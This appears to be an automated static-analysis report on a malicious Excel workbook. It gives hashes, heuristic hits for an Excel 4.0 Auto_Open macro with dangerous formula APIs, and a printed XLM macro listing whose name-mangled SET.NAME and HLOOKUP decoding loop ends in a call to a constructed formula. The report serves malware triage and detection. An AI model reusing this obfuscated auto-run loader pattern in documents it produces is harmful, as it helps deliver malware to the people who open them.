Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 deb731da4a03a524…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:37 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: af76de5c3321efc785dd7ad234558ac4 SHA-1: 1e6a95dbd70c7be7d08e995234aa27ad077dd9b4 SHA-256: deb731da4a03a524e4733b8630682cf619321e7579812b3eab27f9700305a1f8
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6925 bytes
SHA-256: f4e97e042c4c26dfe3834d4e9d23deaa33efcd1765663ebff9eddd18d81d05d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'jWZrtHcJbmLq') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PZlFBIsovn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A149 
' 0018     25 LABEL : Cell Value, String Constant - BZVFCqxUjf len=0 
' 0018     25 LABEL : Cell Value, String Constant - cOGsTzDCOh len=0 
' 0018     26 LABEL : Cell Value, String Constant - GgfQiSkbElc len=0 
' 0018     23 LABEL : Cell Value, String Constant - HjZsqAQt len=0 
' 0018     27 LABEL : Cell Value, String Constant - jWZrtHcJbmLq len=0 
' 0018     26 LABEL : Cell Value, String Constant - JyjtOuExKIf len=0 
' 0018     21 LABEL : Cell Value, String Constant - kdQusb len=0 
' 0018     25 LABEL : Cell Value, String Constant - KKdXrssiTX len=0 
' 0018     22 LABEL : Cell Value, String Constant - KvJngEq len=0 
' 0018     27 LABEL : Cell Value, String Constant - NYDHHfZleykL len=0 
' 0018     22 LABEL : Cell Value, String Constant - nYNRRhX len=0 
' 0018     26 LABEL : Cell Value, String Constant - peGgtngmjnS len=0 
' 0018     20 LABEL : Cell Value, String Constant - StJuN len=0 
' 0018     26 LABEL : Cell Value, String Constant - taxAGNEBMWN len=0 
' 0018     20 LABEL : Cell Value, String Constant - tWqyJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - VckEBgZJOo len=0 
' 0018     24 LABEL : Cell Value, String Constant - wADVPsDGE len=0 
' 0018     24 LABEL : Cell Value, String Constant - WqytVSADD len=0 
' 0018     27 LABEL : Cell Value, String Constant - WRbCusbGfbeA len=0 
' 0018     23 LABEL : Cell Value, String Constant - YCdMKIew len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PZlFBIsovn,S49,"",952.00000000000000000000
'  PZlFBIsovn,S50,"",-974.00000000000000000000
'  PZlFBIsovn,S51,"",483.00000000000000000000
'  PZlFBIsovn,S52,"",875.00000000000000000000
'  PZlFBIsovn,S53,"",-232.00000000000000000000
'  PZlFBIsovn,S54,"",-460.00000000000000000000
'  PZlFBIsovn,A58,"SET.NAME("jWZrtHcJbmLq",0+VALUE("0"))",""
'  PZlFBIsovn,A61,"SET.NAME("BZVFCqxUjf",jWZrtHcJbmLq)",""
'  PZlFBIsovn,A66,"SET.NAME("KvJngEq",jWZrtHcJbmLq)",""
'  PZlFBIsovn,A71,"SET.NAME("nYNRRhX",COUNTA(KKdXrssiTX))",""
'  PZlFBIsovn,A75,"SET.NAME("wADVPsDGE",COUNTA(kdQusb))",""
'  PZlFBIsovn,A78,[],""
'  PZlFBIsovn,A80,"SET.NAME("WRbCusbGfbeA","")",""
'  PZlFBIsovn,A84,"BZVFCqxUjf",""
'  PZlFBIsovn,A87,"SET.NAME("YCdMKIew",HLOOKUP("*",KKdXrssiTX,BZVFCqxUjf,FALSE))",""
'  PZlFBIsovn,A91,"taxAGNEBMWN",""
'  PZlFBIsovn,A93,"SET.NAME("JyjtOuExKIf",jWZrtHcJbmLq)",""
'  PZlFBIsovn,A97,[],""
'  PZlFBIsovn,A99,"JyjtOuExKIf",""
'  PZlFBIsovn,A102,"peGgtngmjnS",""
'  PZlFBIsovn,A105,"GgfQiSkbElc",""
'  PZlFBIsovn,A110,"HjZsqAQt",""
'  PZlFBIsovn,A115,"SET.NAME("NYDHHfZleykL",VALUE(HLOOKUP("*",kdQusb,HjZsqAQt,FALSE)))",""
'  PZlFBIsovn,A117,"tWqyJ",""
'  PZlFBIsovn,A120,"WRbCusbGfbeA",""
'  PZlFBIsovn,A123,"KvJngEq",""
'  PZlFBIsovn,A128,NEXT(),""
'  PZlFBIsovn,A130,"VckEBgZJOo",""
'  PZlFBIsovn,A132,[],""
'  PZlFBIsovn,A136,"WqytVSADD",""
'  PZlFBIsovn,A139,NEXT(),""
'  PZlFBIsovn,A144,RETURN(),""
'  PZlFBIsovn,A173,"SET.NAME("StJuN",A58)",""
'  PZlFBIsovn,A177,"KKdXrssiTX",""
'  PZlFBIsovn,A181,"SET.NAME("kdQusb",R96C13)",""
'  PZlFBIsovn,A184,"SET.NAME("WqytVSADD",192)",""
'  PZlFBIsovn,A186,"SET.NAME("cOGsTzDCOh",1)",""
'  PZlFBIsovn,A191,StJuN(),""
'  PZlFBIsovn,A192,HALT(),""

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